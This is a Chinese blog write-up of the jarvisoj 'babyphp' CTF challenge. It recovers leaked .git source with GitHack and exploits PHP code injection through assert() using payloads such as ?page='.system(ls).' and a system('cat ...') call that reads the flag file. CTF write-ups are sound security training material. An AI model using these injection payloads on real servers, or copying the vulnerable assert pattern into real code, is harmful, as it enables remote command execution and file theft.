jarvisoj babyphp

Posted 2021-03-16 Cxlover的博客哦

jarvisoj babyphp

涉及知识点：

（1）GitHack处理.git源码泄露

（2）php代码注入

解析：

进入题目界面。

 

 看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露。

用GitHack尝试一下。

 

 审计关键代码。

<?php
if (isset($_GET[\'page\'])) {
    $page = $_GET[\'page\'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos(\'$file\', \'..\') === false") or die("Detected hacking attempt!");
assert("file_exists(\'$file\')") or die("That file doesn\'t exist!");
?>

可以看到page是由我们自己控制的。那么这样的话就可以尝试php代码注入了。

构造payload: ?page=\'.system(ls).\'

 

 爆出本级文件。那么只要读取templates下的flag.php就可以了

构造payload : ?page=\'.system(\'cat templates/flag.php\').\' 

打开F12看到flag.php中的内容如下。

 

 得到flag。（图不太清晰，但是毕竟是flag，不重要）。

 

注：经过多次尝试之后，我发现php代码注入只要存在（前提是存在注入点），几乎都是无解的问题。它可以存在于任何地方，甚至赋值语句都可以用php代码注入来获取你想要的内容。